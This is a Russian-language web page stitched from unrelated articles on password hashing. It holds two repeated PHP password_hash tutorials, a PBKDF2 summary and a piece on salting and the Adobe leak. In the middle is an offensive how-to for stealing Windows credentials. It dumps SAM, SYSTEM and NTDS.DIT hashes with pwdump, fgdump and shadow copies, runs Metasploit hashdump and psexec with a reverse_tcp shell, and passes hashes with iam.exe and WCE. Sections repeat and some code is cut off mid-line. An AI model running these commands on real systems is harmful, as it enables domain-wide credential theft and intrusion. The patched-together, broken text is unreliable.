Риски и проблемы хеширования паролей. Хэширование паролей с помощью Hash API

На данный момент использование bcrypt - это лучший способ хэширования паролей, однако множество разработчиков по старинке используют MD5 и SHA1. Многие из них, не применяют технику добавления соли. В PHP 5.5 решили акцентировать внимание разработчиков на алгоритме bcrypt и создали специальный хэш API.

Хэш API состоит из следующих функций:

  • password_hash() - для генерации хэша пароля.
  • password_verify() - проверка пароля.
  • password_needs_rehash() - используется когда нужно перегенерировать хэш.
  • password_get_info() - возвращает название алгоритма и другую информацию.

password_hash()

Использование функции crypt() у многих вызывает ступор из-за сложности, поэтому вместо неё применяются упрощённые способы создания хэша. К примеру:

$hash = md5($password . $salt); // работает, но не надёжно

Функция password_hash() упрощает этот процесс настолько, насколько это возможно. Если вам нужно создать хэш пароля, вызовите эту функцию и запишите значение в базу данных.

$hash = password_hash($passwod, PASSWORD_DEFAULT);

Вот и всё! Первый параметр - это строка представляющая собой пароль; второй - алгоритм, который будет применён.

Алгоритм, который используется по умолчанию - bcrypt, но в будущем будут добавлены и другие, более продвинутые алгоритмы. Если вы используете PASSWORD_DEFAULT, то знайте, что на выходе получите строку из более 60 символов. Она может быть и больше, особенно, при использовании других алгоритмов, так что в таблице размер поля можете выставить 255. В качестве второго параметра, вы можете использовать константу PASSWORD_BCRYPT. В этом случае, размер строки на выходе будет ровно 60 символов.

Важно понять, что вам самим не нужно передавать соль или параметр cost (стоимость - количество раундов подготовки ключей). Новый API сделает это за вас. Но если же вы хотите сами задать данные параметры, то можете сделать это следующим образом.

$options = [ "salt" => custom_function_for_salt(), //напишите свою функцию генерации соли "cost" => 12 // по умолчанию равен 10 ]; $hash = password_hash($password, PASSWORD_DEFAULT, $options);

Вот и всё!

password_verify()

Теперь, когда вы знаете как генерировать хэш, давайте посмотрим на то, как осуществлять проверку.

Функция password_verify() принимает пароль в обычном виде и его хэш. В зависимости от результатов проверки, возвращает true или false.

If (password_verify($password, $hash)) { // Успех! } else { // Провал }

Заметьте, что соль находится в самом хэше, так что нам не нужно указывать её вручную.

password_needs_rehash()

Что если вам необходимо обновить параметры соли или стоимости? Или изменились настройки хэширования PHP? В этом случае, можете воспользоваться функцией password_needs_rehash() для проверки данного факта.

If (password_needs_rehash($hash, PASSWORD_DEFAULT, ["cost" => 12])) { // необходимо создать хэш пароля ещё раз $hash = password_hash($password, PASSWORD_DEFAULT, ["cost" => 12]); }

Данную операцию можно делать при входе пользователя в систему, ведь только тогда у нас есть доступ к паролю в явном виде.

password_get_info()

password_get_info() возвращает параметры хэширования:

  • algo - константа с названием алгоритма
  • algoName - название алгоритма
  • options - различные настройки

Заключение

Новый API для хэширования паролей очень прост. Это отличная замена функции crypt(). Если вам на сервере доступна версия PHP 5.5, то мы рекомендуем воспользоваться данным API.

В данной статье мы расскажем об основах использования нового API для хеширования в PHP. Данный способ хэширования паролей упростит Вам жизнь на столько, на сколько это возможно. Берем наш пароль -> получаем хэш -> записываем в базу. Никаких лишних манипуляций.

. password_hash() - используется для хэширования пароля.
. password_verify() - используется для проверки пароля на соответствие хэшу.
. password_needs_rehash() - используется для проверки необходимости создать новый хэш.
. password_get_info() - возвращает имя алгоритма хеширования и различные параметры, используемые при хэшировании.

// наш пароль
$pass="123456";
$hash=password_hash($pass, PASSWORD_DEFAULT);
?> Вот так легко и просто. Первым параметр - строка пароля, который необходимо захэшировать, а второй параметр определяет алгоритм, который должен быть использован для генерирования хэша.

Алгоритм по умолчанию, в настоящее время, BCrypt, но более сильный алгоритм может быть установлен по умолчанию, когда-нибудь в будущем, и, возможно, он будет генерировать большие строки. Если вы используете PASSWORD_DEFAULT, обязательно храните хэш в колонке, размером больше 60 символов. Лучше всего установить размер 255. Также можете использовать PASSWORD_BCRYPT в качестве второго параметра. В этом случае результат всегда будет 60 символов.

Итак, если Вам показалось этого мало, можете использовать свою собственную соль
$op=[
"salt" => gensalt(), // здесь Ваша функция генерации соли
"cost" => 12
];
$hash=password_hash($pass, PASSWORD_DEFAULT, $op);
?> Готово.

Теперь проверим вводимый пользователем пароль. Все что нам нужно - это взять хэш пароля из нашей базы и сравнить его с введённым паролем.

// $hash - это хэш пароля, полученный из базы
if (password_verify($pass, $hash)):
print "Верный пароль!";
else:
print "Неверный пароль:(";
endif;
?> password_needs_rehash()
Функция password_needs_rehash() проверяет, использует ли хэш пароля конкретный алгоритм, соль и стоимость вычисления.
if (password_needs_rehash($hash, PASSWORD_DEFAULT, ["cost" => 12])):
$hash=password_hash($pass, PASSWORD_DEFAULT, ["cost" => 12]);
endif;
?> Данную операцию можно делать при входе пользователя в систему, ведь только тогда мы получаем доступ к паролю в явном виде.

password_get_info()
Функция password_get_info() принимает хэш и возвращает ассоциативный массив из трех элементов:
. algo - константа, которая идентифицирует конкретный алгоритм
. algoName - название используемого алгоритма
. options - различные опции, используемые при генерации хэша

Эта статья представляет собой полный сборник рецептов, описывающих, как сдампить хеши пользовательских паролей, восстановить исходный пасс путем выполнения брутфорса и получить с помощью извлеченного хеша доступ к защищенным ресурсам, используя недоработки протокола аутентификации NTLM. Минимум теории - только практика. Мы собрали все в одном месте и создали полный мануал.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Где пароли?

Сразу отвечу на вопрос о том, где хранятся хеши паролей в системе. В общем случае их можно извлечь из трех мест:

  • из локальной SAM-базы, где хранятся LM/NTLM-хеши локальных пользователей;
  • из кеша LSA, в который попадают LM/NTLM-хеши доменных пользователей, стираемые после перезагрузки;
  • из специального кеша, где сохраняются MSCache-хеши паролей десяти последних пользователей, которые авторизовались на данном хосте (пароли кешируются, чтобы можно было войти в систему, если связь с доменом временно отсутствует).

Если используется контроллер домена, есть еще AD-хранилище. Важно понимать одно: из каждого указанного места пароли можно сдампить! Большинство приведенных ниже приемов давно известны, но мы решили сделать своего рода полный сборник рецептов, к которому ты всегда сможешь обратиться при необходимости. Ниже 7 готовых к употреблению рецептов.

PwDump и fgdump

Начнем с ситуации, когда у нас есть физический доступ к интересующей нас системе. В этом случае NTLM/LM-хеши можно сдампить с помощью специальных утилит. В большинстве своем эти тулзы требуют высоких привилегий, так как они необходимы для DLL-инжекта с помощью SeDebugPrivilege. Будем для простоты считать, что у нас есть аккаунт с правами администратора (а еще лучше NT AUTHORITY\SYSTEM).


Если имеется физический доступ, сдамить хеши довольно просто: есть много способов, к тому же всегда можно загрузить с флешки (или LiveCD), например, Kon-Boot , чтобы войти в систему под любым пользователем. Есть и много других хаков (в том числе для повышения привилегий до NT AUTHORITY\SYSTEM с локального админа), о которых мы не раз писали в рубрике EasyHack в прошлом году. Но вернемся к процессу извлечения хешей. Самыми известными утилитами для создания дампа хешей являются pwdump и fgdump . Работать с этими тулзами достаточно просто, да и по функционалу они очень похожи. Для дампа хешей достаточно просто запустить проги:

Pwdump localhost fgdump.exe

Первая утилита выводит найденные хеши непосредственно в консоль. Вторая же сохраняет результат в файлах 127.0.0.1.PWDUMP (хеши паролей локальных пользователей) и 127.0.0.1.CACHEDUMP (закешированные хеши паролей доменных пользователей).

Одна из наиболее интересных опций, которую поддерживают обе утилиты, позволяет дампить хеши с удаленных машин. Чтобы провернуть этот фокус, скажем, с помощью pwdump, надо выполнить:

> pwdump -o mytarget.log -u MYDOMAIN\someuser -p \ "lamepassword" 10.1.1.1

Здесь 10.1.1.1 - адрес удаленной машины, MYDOMAIN\someuser - аккаунт пользователя, lamepassword - пароль пользователя, а mytarget.log - файл для сохранения результатов. В отличие от pwdump, fgdump умеет дампить хеши не только с одной машины, а сразу с нескольких:

> fgdump.exe -f hostfile.txt -u MYDOMAIN\someuser -T 10

В данном случае hostfile.txt - файл, содержащий список хостов, «-T 10» - количество параллельно работающих потоков. Полученный хеш можно попробовать сбрутфорсить с помощью специальных утилит, чтобы узнать исходный пасс (ищи целую подборку подходящих тулз на врезке).

Примечательно, что некоторые из них для большего удобства поддерживают формат вывода fgdump.exe.

Дамп паролей с помощью Volume Shadow Copy Service

Если утилитам вроде pwdump и fgdump сто лет в обед, то способ дампинга паролей, о котором пойдет речь далее, появился относительно недавно. Что круче всего, он вообще не требует сторонних инструментов и задействует только возможности самой системы. Как мы уже знаем, хеши паролей локальных пользователей хранятся в том числе и в файле SAM, правда, в зашифрованном виде. Поэтому, чтобы прочитать их, требуется еще один файл - SYSTEM. Эти два файла представляют собой системные ветви реестра, которые ОС постоянно использует, поэтому доступ к ним невозможен даже из-под администратора. Из-за этого многим приложениям, которые извлекают хеши паролей, приходится идти на ухищрения, чтобы получить доступ к этим ветвям. Мы же, чтобы скопировать эти файлы, воспользуемся легальным механизмом, который предоставляет сама ОС. Этот механизм, позволяющий делать «мгновенный снимок» тома, называется Volume Shadow Copy Service (теневое копирование тома). Он появился в ОС Windows начиная с версий XP и Server 2003. Эта технология автоматически используется, например, при создании архива System State с помощью утилиты ntbackup или при создании снимка для общей папки (Volume Shadow Copy for Shared Folders). Суть идеи состоит в том, что при теневом копировании будут созданы копии важных системных файлов (в частности, SAM и SYSTEM), доступ к которым мы сможем легко получить. Чтобы избавиться от лишней работы в консоли, воспользуемся небольшим скриптиком vssown.vbs , управляющим созданием копий. Сценарий ты найдешь на нашем диске. Для начала запускаем сервис теневого копирования: cscript vssown.vbs /start. Затем создаем новую теневую копию: cscript vssown.vbs /create. Теперь смотрим список всех теневых копий: cscript vssown.vbs /list.

Созданная нами копия будет самой последней. Из всей информации нас интересует Device object со значением «\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14» (здесь 14 - номер теневой копии). Дальнейшие манипуляции предельно просты.

  1. Копируем интересующие нас файлы:copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SYSTEM . copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SAM .
  2. Все, теперь эти файлы можно скормить какой-нибудь утилите типа SAMInside для расшифровки полученных хешей.

Дамп паролей всех пользователей домена!

Интересно, что используя предыдущий прием, можно легко слить хеши паролей не только локальных, но и вообще всех доменных пользователей! Правда, только если у нас есть доступ к контроллеру домена. Предположим, мы создали теневую копию и скопировали файлы SAM и SYSTEM. Active Directory хранит данные о пользователях в файле NTDS.DIT, так что нужно скопировать и его:

Copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\ntds\ntds.dit .

Данные о пользователях хранятся в зашифрованном виде, поэтому их нужно будет расшифровывать с помощью файла SYSTEM. Итак, что мы имеем? У нас есть файлы SYSTEM и NTDS.DIT, но как нам получить список пользователей и их хешей? До недавнего времени это было непросто, так как бесплатных утилит, способных распарсить NTDS.DIT и расшифровать хеши, не существовало. Но недавно исследователь по имени Csaba Barta выпустил тулкит, который умеет разбирать файл NTDS.DIT и извлекать оттуда хеши. Весь инструментарий доступен по адресу csababarta.com/downloads/ntdsdump hash.zip Посмотрим, как этот тулкит работает. Для дальнейших манипуляций будем использовать BackTrack5 (подойдет любой другой Linux-дистрибутив), хотя все то же самое можно провернуть и под виндой. Загружаемся, скачиваем архив тулкита и распаковываем его. Далее собираем библиотеку libesedb:

Cd libesedb chmod +x configure ./configure && make

Теперь можно приступать к дампу хэшей. Прежде всего извлекаем таблицу, содержащую зашифрованные данные:

Cd esedbtools ./esedbdumphash ../../ntds.dit

У нас появился файл /libesedb/esedbtools/ntds.dit.export/datatable. Уже профит. Теперь его надо расшифровать при помощи ключа, который содержится в SYSTEM:

Cd ../../creddump/ python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

Готово! На выходе получаем хеши всех пользователей домена! Интересно, что можно извлечь еще и предыдущие пароли пользователей (их хеши). Для этого в инструментарии имеется отдельная утилита, которую легко задействовать:

Python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable.

Если их удастся взломать, вполне можно проследить закономерность, в соответствии с которой пользователь меняет свои пароли (она очень часто существует).

HashGrab2 + samdump2

Чтобы сдампить хеши, необязательно логиниться в системе. Опять же, если есть физический доступ к компьютеру, то можно не только загрузить с LiveCD утилиту для сброса пароля (скажем, Offline NT Password & Registry Editor), но и легко сдампить хеши с помощью специального софта - еще бы, ведь никакие политики доступа к системным файлам тут не действуют. Мы воспользуемся утилитами HashGrab2 и , которые можно запустить практически из любого LiveCD-дистрибутива. HashGrab2 автоматически монтирует все Windows-разделы, которые может найти, и при помощи samdump2 извлекает логины и хеши паролей из файлов SAM и SYSTEM. Вот как это выглядит на практике:

> sudo ./hashgrab2.py HashGrab v2.0 by s3my0n http://InterN0T.net Contact: RuSH4ck3Rgmailcom [*] Mounted /dev/sda1 to /mnt/jomAT8 [*] Mounted /dev/sdb1 to /mnt/AZwJUs [*] Copying SAM and SYSTEM files... [*] Unmounting partitions... [*] Deleting mount directories... [*] Deleting ["./jomAT8"] >$ ls hashgrab2.py jomAT8.txt >$ cat ./jomAT8.txt Administrator:HASH Guest:501:HASH s3my0n:1000:HASH HomeGroupUser$:1002:HASH

Полученные хеши тут же можно скормить брутфорсеру.

Выключаем кеширование хешей паролей

Как известно, Windows кеширует хеши паролей и логины доменных пользователей, что позволяет зайти на машину, если контроллер домена отключен и недоступен. Если пользователь вводит правильный логин и пароль, то при авторизации система сохраняет хеш пароля на диске. Как ты сам понимаешь, держать такие данные на диске - не самое лучшее решение с точки зрения безопасности, так что эту функцию лучше отключить. Для этого необходимо установить ключ HKEYLOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\cachedlogonscount в значение «0». Затем надо перезагрузить компьютер, чтобы удалить все закешированные ранее пароли. С этого момента винда не будет кешировать пароли пользователей домена.

Возможности Metasploit

Допустим теперь, что у нас нет физического доступа к компьютеру. Пусть вместо этого у нас имеется удаленный шелл и в идеале Meterpreter. В Metasploit Framework уже встроен функционал для извлечения списка пользователей и хешей паролей. Делается это в одну команду:

Meterpreter > run post/windows/gather/hashdump

В результате мы получаем список пользователей и хешей. Но останавливаться на достигнутом не стоит. Metasploit - штука многофункциональная, поэтому можно попробовать использовать полученные хеши для доступа к другим компьютерам в сети жертвы - вдруг подойдут. Для этого пригодится модуль PsExec:

Meterpreter > use exploit/windows/smb/psexec meterpreter > set payload windows/meterpreter/reverse_tcp meterpreter > set rhost [адрес удаленного хоста] meterpreter > set smbpass [ранее полученный хеш пользователя] meterpreter > set smbuser [логин пользователя] meterpreter > set lhost [адрес локальной машины] meterpreter > exploit meterpreter > shell - получили шелл на удаленной машине

Как видишь, все происходит автоматически, без всяких сложностей. Чтобы дальше ковыряться с любыми файлами системы, полезно сразу поднять права. Получить их можно прямо из Метерпретера, в котором есть простая команда getsystem. Этот модуль попробует поднять права в ОС, используя уязвимости MS09-012, а также нашумевшую уязвимость MS10-015 (KiTrap0D) и не только.


Cain&Abel - еще одна замечательная тулза для брутфорса NTML хэшей
(кроме этого поддерживает взлом хэшей большого количества других алгоритмов)

Техника Pass-the-Hash

В обеих реализациях протокола NTLM есть большая дырка. Для аутентификации достаточно знать только хеш пользователя, то есть даже брутить ничего не надо. Достал хеш - и можешь лазить по сетке с правами скомпрометированного юзера:). Соответствующий метод, который носит название Pass The Hash, разработан аж в 1997 году. Одной из его самых известных реализацией является набор утилит Pass-the-Hash Toolkit . В него входит три утилиты: IAM.EXE, WHOSTHERE.EXE и GENHASH.EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NT-хешей переданного ей пароля. WHOSTHERE.EXE, выводит всю информацию о логин-сессиях, которую операционная система хранит в памяти. Тулза отображает информацию о пользователях, которые на данный момент залогинены в системе: имя юзера, домен/рабочую группу и NTLM-хеши пароля. Утилита IAM.EXE позволяет прикинуться другим пользователем при получении доступа к какой-либо папке на удаленной машине, подменяя данные текущего пользователя (логин, хеш пароля, домен и т. д.), когда они в закешированном виде отправляются удаленной системе, чтобы она могла идентифицировать пользователя и решить, предоставлять ли ему доступ к запрашиваемому ресурсу. После успешной подмены все сетевые соединения с удаленными серверами, осуществляющие аутентификацию с помощью NTLM-хешей, используют подмененные данные, что позволяет получить доступ к «чужой» шаре. Рассмотрим примерный сценарий использования:

whosthere.exe - получаем данные всех залогиненных пользователей; iam.exe -h administrator:mydomain:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 - подменяем свои данные на данные другого пользователя.

Вот, собственно, и все, теперь мы имеем права для доступа к сетевым ресурсам другого пользователя.

Windows Credentials Editor


WCE представляет собой аналог Pass-the-Hash Toolkit’а, однако здесь весь функционал сосредоточен в одном исполняемом файле. Этот инструмент мне нравится больше. При запуске без параметров приложение возвращает список пользователей, залогиненных на данный момент в системе (утилита вытаскивает NTLM/LM-хеши из памяти):

Wce.exe –l

После этого можно выбрать из них подходящего кандидата для наших черных дел и воспользоваться его данными. Допустим, нам нужно подменить свои данные на данные другого пользователя и запустить какую-нибудь программу якобы уже из-под него:

Wce.exe -s ::: \ -c

Тогда выполняем следующую команду:

Wce.exe –s user:Victim:1F27ACDE849935B0AAD3B435B51404EE:579110C49145015C47ECD267657D3174 -c "c:\Program Files\ Internet Explorer\iexplore.exe"

Здесь «-s» «добавляет» нового пользователя с именем user и доменом Victim, за которыми следует LM- и NTLM-хеш, а «-с» указывает, какую программу следует запустить под этим пользователем. Как видишь, все довольно просто. 🙂

Программы для взлома хешей

SAMInside

insidepro.com/rus/saminside.shtml Пожалуй, самая популярная программа для взлома NTLM-хешей. Позволяет импортировать свыше десяти типов данных и использовать шесть видов атак для восстановления паролей пользователей.Код брутфорсера полностью написан на асме, что обеспечивает очень высокую скорость перебора. Очень важно, что программа корректно извлекает имена и пароли пользователей Windows в национальных кодировках символов.

lm2ntcrack

www.xmco.fr/lm2ntcrack/index.html Небольшая программка, которая может выручить в трудный момент. Она позволяет взломать NT-хеш, когда LM-пароль уже известен. Вся фишка в том, что LM-пароль регистронезависимый, а NT - регистрозависимый и как раз по нему и происходит проверка. Таким образом, если ты знаешь, что LM-пароль - ADMINISTRAT0R, но не знаешь, какие буквы заглавные, а какие нет, тебе поможет lm2ntcrack.

ighashgpu

www.golubev.com/hashgpu.htm Процесс подбора очень трудоемкий и занимает много времени. Поэтому, чтобы как-то его ускорить, целесообразно использовать ресурсы самого мощного устройства в системе - видеокарты. Программа ighashgpu позволяет задействовать GPU для взлома хешей MD4, MD5, SHA1, NTLM, Oracle 11g, MySQL5, MSSQL. Если при этом использовать атаку по словарю, успешный результат можно будет получить намного быстрее.

CUDA-Multiforcer

www.cryptohaze.com/multiforcer.php Еще одна утилита, использующая мощь графической карты для взлома различных хешей. Как можно догадаться по названию, ориентирована на видеокарты фирмы nVidia. Поддерживает внушительный список хешей: MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5PS: md5($pass.$salt), MD5 SP: md5($salt.$pass), SSHA: base64(sha1($pass.$salt)), DOUBLEMD5: md5(md5($pass)), TRIPLEMD5, LM: Microsoft LanMan hash и др.

ophcrack

Программа для восстановления паролей Windows с использованием rainbow-таблиц. В таких таблицах в особой форме содержатся предварительно рассчитанные хеши для разных паролей. Таким образом, найдя заданный хэш в таблице, мы быстро получаем готовый пароль. Успех напрямую зависит от размера rainbow-таблицы. Так что, если не хочется брутить пароль тупым перебором, рекомендую скачать табличку побольше.

John the Ripper

www.openwall.com Официальная версия этого легендарного брутфорсера паролей не поддерживает взлом NTLM-хешей, но энтузиасты не могли не прокачать функционал любимой хак-тулзы. Выпущен специальный jumbo-патч, который позволяет брутфорсить более десяти дополнительных видов хешей, в том числе NTLM. На офсайте есть как diff’ы, которые можно наложить на оригинальные сорцы, так и готовые к использованию бинарники (в том числе для win32).

Заключение

Вот, собственно, и все. Мы рассмотрели все наиболее часто встречающиеся ситуации. На самом деле существует гораздо больше способов, позволяющих увести (например, с помощью снифера) и использовать хеши, но в большинстве своем они сводятся к рассмотренным выше методам.

В этом разделе разъясняются причины, стоящие за хешированием паролей в целях безопасности, а также эффективные методы хеширования.

Почему я должен хешировать пароли пользователей в моем приложении?

Хеширование паролей является одним из самых основных соображений безопасности, которые необходимо сделать, при разработке приложения, принимающего пароли от пользователей. Без хеширования, пароли, хранящиеся в базе вашего приложения, могут быть украдены, например, если ваша база данных была скомпрометирована, а затем немедленно могут быть применены для компрометации не только вашего приложения, но и аккаунтов ваших пользователей на других сервисах, если они не используют уникальных паролей.

Применяя хеширующий алгоритм к пользовательским паролям перед сохранением их в своей базе данных, вы делаете невозможным разгадывание оригинального пароля для атакующего вашу базу данных, в то же время сохраняя возможность сравнения полученного хеша с оригинальным паролем.

Важно заметить, однако, что хеширование паролей защищает их только от компрометирования в вашем хранилище, но не обязательно от вмешательства вредоносного кода в вашем приложении.

Почему популярные хеширующие функции, такие как md5() и sha1() не подходят для паролей?

Такие хеширующие алгоритмы как MD5, SHA1 и SHA256 были спроектированы очень быстрыми и эффективными. При наличии современных технологий и оборудования, стало довольно просто выяснить результат этих алгоритмов методом "грубой силы" для определения оригинальных вводимых данных.

Из-за той скорости, с которой современные компьютеры могут "обратить" эти хеширующие алгоритмы, многие профессионалы компьютерной безопасности строго не рекомендуют использовать их для хеширования паролей.

Если популярные хеширующие функции не подходят, как же я тогда должен хешировать свои пароли?

При хешировании паролей существует два важных соображения: это стоимость вычисления и соль. Чем выше стоимость вычисления хеширующего алгоритма, тем больше времени требуется для взлома его вывода методом "грубой силы".

Serious Security: How to store your users’ passwords safely

In summary, here is our minimum recommendation for safe storage of your users’ passwords:

Use a strong random number generator to create a salt of 16 bytes or longer.
Feed the salt and the password into the PBKDF2 algorithm.
Use HMAC-SHA-256 as the core hash inside PBKDF2.
Perform 20,000 iterations or more. (June 2016.)
Take 32 bytes (256 bits) of output from PBKDF2 as the final password hash.
Store the iteration count, the salt and the final hash in your password database.
Increase your iteration count regularly to keep up with faster cracking tools.

Whatever you do, don’t try to knit your own password storage algorithm.

Недостатки простого хэширования

Тот факт, что с помощью эффективного алгоритма невозможно провести операцию, обратную хэшированию, и восстановить исходные данные, не означает, что вас не могут взломать. Если хорошо поискать, то можно найти базы данных с хэшами распространённых слов и коротких фраз. Кроме того, простые пароли можно быстро и легко или взламывать .

Вот небольшая демонстрация, как инструмент через внедрение SQL-кода взламывает пароли с помощью брутфорса хэшей, сгенерированных алгоритмом MD5.

Злоумышленники могут поступить ещё проще - конкретные хэши в онлайновых БД:






Также нужно понимать, что если два и более одинаковых пароля имеют одинаковые хэши, то, взломав один хэш, мы получаем доступ ко всем аккаунтам, где используется тот же пароль. Для примера: пусть у нас несколько тысяч пользователей, наверняка несколько из них используют пароль 123456 (если настройки сайта не заставляют усложнять пароль). MD5-хэш для этого пароля. Так что если вы заполучите этот хэш и поищете в базе данных по этому значению, то найдёте всех пользователей с таким паролем.

Почему небезопасны хэши с применением соли

Чтобы затруднить атаки описанного вида, применяется так называемая . Это стандартное средство, но в условиях современных вычислительных мощностей его уже недостаточно, особенно если длина соли невелика.

В общем виде функцию с использованием соли можно представить так:

f(password, salt) = hash(password + salt)

Для затруднения брутфорс-атаки соль должна быть длиной не менее 64 символов. Но проблема в том, что для дальнейшей аутентификации пользователей соль должна храниться в БД в виде простого текста.

if (hash([введённый пароль] + [соль]) == [хэш]) тогда пользователь аутентифицирован

Благодаря уникальности соли для каждого пользователя мы можем решить проблему коллизий простых хэшей. Теперь все хэши будут разными. Также уже не сработают подходы с гугленьем хэшей и брутфорсом. Но если злоумышленник через внедрение SQL-кода получит доступ к соли или БД, то сможет успешно атаковать брутфорсом или перебором по словарю, особенно если пользователи выбирают распространённые пароли (а-ля 123456).

Тем не менее взлом любого из паролей уже не позволит автоматически вычислить пользователей, у которых тот же пароль, - ведь у нас ВСЕ хэши разные.

Момент случайности

Для генерирования подходящей соли нам нужен хороший генератор случайных чисел. Сразу забудьте о функции rand().

Применение технологий шифрования

Многие путаются в терминах «хэширование» и «шифрование». Как было упомянуто выше, хэш - результат работы псевдослучайной функции, в то время как шифрование - осуществление псевдослучайного преобразования : входные данные делятся на части и обрабатываются таким образом, что результат становится неотличим от результата работы полноценного генератора случайных чисел. Однако в этом случае можно провести обратное преобразование и восстановить исходные данные. Преобразование осуществляется с помощью криптоключа, без которого невозможно провести обратное преобразование.

Есть и ещё одно важное отличие шифрования от хэширования: размер пространства выходного сообщения не ограничен и зависит от размера входных данных в соотношении 1:1. Поэтому нет риска возникновения коллизий.

Необходимо уделять большое внимание правильности использования шифрования. Не думайте, что для защиты важных данных достаточно просто зашифровать по какому-нибудь алгоритму. Есть немало способов украсть данные. Главное правило - никогда не занимайтесь самодеятельностью и пользуйтесь уже готовыми, отработанными реализациями.

Некоторое время назад у Adobe была мощная утечка пользовательской БД из-за неправильно реализованного шифрования. Давайте разберём, что у них произошло.

Предположим, что в таблице хранятся следующие данные в виде обычного текста:

Кто-то в Adobe решил зашифровать пароли, но при этом совершил две большие ошибки:


  1. использовал один и тот же криптоключ;

  2. оставил поля passwordHint незашифрованными.

Допустим, после шифрования таблица стала выглядеть так:

Мы не знаем, какой применялся криптоключ. Но если проанализировать данные, то можно заметить, что в строках 2 и 7 используется один и тот же пароль, так же как и в строках 3 и 6.

Пришло время обратиться к подсказке пароля. В строке 6 это «I’m one!», что совершенно неинформативно. Зато благодаря строке 3 мы можем предположить, что пароль - queen. Строки 2 и 7 по отдельности не позволяют вычислить пароль, но если проанализировать их вместе, то можно предположить, что это halloween.

Ради снижения риска утечки данных лучше использовать разные способы хэширования. А если вам нужно шифровать пароли, то обратите внимание на настраиваемое шифрование:

Пусть у нас есть тысячи пользователей и мы хотим зашифровать все пароли. Как было показано выше, лучше избегать использования единого криптоключа. Но и сделать для каждого пользователя уникальный ключ мы тоже не можем, поскольку хранение ключей само по себе превратится в проблему. В этом случае достаточно применять общий для всех криптоключ, но при этом делать «настройку», уникальную для каждого пользователя. Комбинация ключа и «настройки» и будет являться уникальным ключом для каждого пользователя.

Простейший вариант «настройки» - так называемый , уникальный для каждой записи в таблице. Не рекомендуется пользоваться им в жизни, здесь он показан лишь для примера:

f(key, primaryKey) = key + primaryKey

Здесь ключ и первичный ключ просто сцепляются вместе. Но для обеспечения безопасности следует применить к ним алгоритм хэширования или функцию формирования ключа (key derivation function). Также вместо первичного ключа можно для каждой записи использовать (аналог соли).

Если мы применим к нашей таблице настраиваемое шифрование, то она будет выглядеть так:

Конечно, нужно будет ещё что-то сделать с подсказками паролей, но всё-таки уже получилось хоть что-то адекватное.

Обратите внимание, что шифрование - не идеальное решение для хранения паролей. В связи с угрозами внедрения кода лучше избегать этого метода защиты. Для хранения паролей надежнее всего использовать алгоритм bcrypt. Но нельзя забывать и о том, что даже самые лучшие и проверенные решения обладают уязвимостями.

PHP 5.5

Сегодня оптимальным способом хэширования паролей считается использование bcrypt. Но многие разработчики всё ещё предпочитают старые и более слабые алгоритмы вроде MD5 и SHA-1. А некоторые при хэшировании даже не пользуются солью. В PHP 5.5 был представлен новый API для хэширования, который не только поощряет применение bcrypt, но и существенно облегчает работу с ним. Давайте разберём основы использования этого нового API.

Здесь применяются четыре простые функции:


  • password_hash() - хэширование пароля;

  • password_verify() - сравнение пароля с хэшем;

  • password_needs_rehash() - перехэширование пароля;

  • password_get_info() - возвращение названия алгоритма хэширования и применявшихся в ходе хэширования опций.

password_hash()

Несмотря на высокий уровень безопасности, обеспечиваемый функцией crypt(), многие считают её слишком сложной, из-за чего программисты часто допускают ошибки. Вместо неё некоторые разработчики используют для генерирования хэшей комбинации слабых алгоритмов и слабых солей:
Функция password_hash() существенно облегчает разработчику жизнь и повышает безопасность кода. Для хэширования пароля достаточно скормить его функции, и она вернёт хэш, который можно поместить в БД:
И всё! Первый аргумент - пароль в виде строки, второй аргумент задаёт алгоритм генерирования хэша. По умолчанию используется bcrypt, но при необходимости можно добавить и более сильный алгоритм, который позволит генерировать строки большей длины. Если в своём проекте вы используете PASSWORD_DEFAULT, то удостоверьтесь, что ширина колонки для хранения хэшей не менее 60 символов. Лучше сразу задать 255 знаков. В качестве второго аргумента можно использовать PASSWORD_BCRYPT. В этом случае хэш всегда будет длиной в 60 символов.

Обратите внимание, что вам не нужно задавать значение соли или стоимостного параметра. Новый API всё сделает за вас. Поскольку соль является частью хэша, то вам не придётся хранить её отдельно. Если вам всё-таки нужно задать своё значение соли (или стоимости), то это можно сделать с помощью третьего аргумента:
custom_function_for_salt(), // Напишите собственный код генерирования соли "cost" => 12 // По умолчанию стоимость равна 10 ]; $hash = password_hash($password, PASSWORD_DEFAULT, $options);
Всё это позволит вам использовать самые свежие средства обеспечения безопасности. Если в дальнейшем в PHP появится более сильный алгоритм хэширования, то ваш код станет использовать его автоматически.

password_verify()

Теперь рассмотрим функцию сравнения пароля с хэшем. Первый вводится пользователем, а второй мы берём из БД. Пароль и хэш используются в качестве двух аргументов функции password_verify(). Если хэш соответствует паролю, то функция возвращает true.
Помните, что соль является частью хэша, поэтому она не задаётся здесь отдельно.

password_needs_rehash()

Если вы захотите повысить уровень безопасности, добавив более сильную соль или увеличив стоимостный параметр, или изменится алгоритм хэширования по умолчанию, то вы, вероятно, захотите перехэшировать все имеющиеся пароли. Данная функция поможет проверить каждый хэш на предмет того, какой алгоритм и параметры использовались при его создании:
12])) { // Пароль надо перехэшировать, поскольку использовался не текущий // алгоритм по умолчанию либо стоимостный параметр не был равен 12 $hash = password_hash($password, PASSWORD_DEFAULT, ["cost" => 12]); // Не забудьте сохранить новый хэш! }
Не забывайте, что вам нужно будет это делать в тот момент, когда пользователь пытается залогиниться, поскольку это единственный раз, когда у вас будет доступ к паролю в виде простого текста.

password_get_info()

Данная функция берёт хэш и возвращает ассоциативный массив из трёх элементов:

  • algo - константа, позволяющая идентифицировать алгоритм;

  • algoName - название использовавшегося алгоритма;

  • options - значения разных опций, применявшихся при хэшировании.

Более ранние версии PHP

